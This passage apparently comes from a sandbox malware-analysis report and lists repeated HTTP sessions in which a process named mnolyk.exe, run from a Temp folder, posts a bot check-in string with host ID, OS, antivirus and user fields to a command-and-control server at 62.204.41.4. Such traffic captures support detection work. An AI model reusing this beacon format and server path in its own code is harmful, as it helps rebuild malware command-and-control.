194	192.168.2.5	49884	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:40.878750086 CET	395	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:40.944602966 CET	395	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.5	49885	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:41.119391918 CET	396	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:41.185913086 CET	396	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.5	49886	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:41.361243010 CET	397	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:41.423928976 CET	397	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.5	49887	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:41.597625017 CET	398	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:41.661936045 CET	398	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.5	49888	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:41.840854883 CET	399	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:41.906905890 CET	399	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.5	49889	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:42.087363005 CET	400	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:42.156582117 CET	400	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49692	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:29.077816010 CET	147	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:29.144706964 CET	201	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49710	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:33.533909082 CET	220	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:33.601789951 CET	221	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.5	49890	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:42.348321915 CET	401	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:42.415592909 CET	401	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.5	49891	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:42.583952904 CET	402	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:42.649425030 CET	402	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.5	49892	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:42.833784103 CET	403	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:42.900185108 CET	403	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.5	49893	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:43.066540003 CET	404	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:43.134987116 CET	404	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.5	49894	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:43.316977024 CET	405	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:43.380888939 CET	405	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.5	49895	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:43.567435026 CET	406	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:43.633063078 CET	406	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.5	49896	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:43.821532965 CET	407	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:43.887778044 CET	407	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.5	49897	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:44.164540052 CET	408	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:44.234129906 CET	408	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.5	49898	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:44.411726952 CET	409	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:44.476085901 CET	409	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.5	49899	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:44.645814896 CET	410	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:44.710201979 CET	410	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49711	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:33.781092882 CET	221	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:33.843689919 CET	222	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.5	49900	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:44.895342112 CET	411	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:44.961194038 CET	411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.5	49901	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:45.128470898 CET	412	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:45.193317890 CET	412	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.5	49902	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:45.366775990 CET	413	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
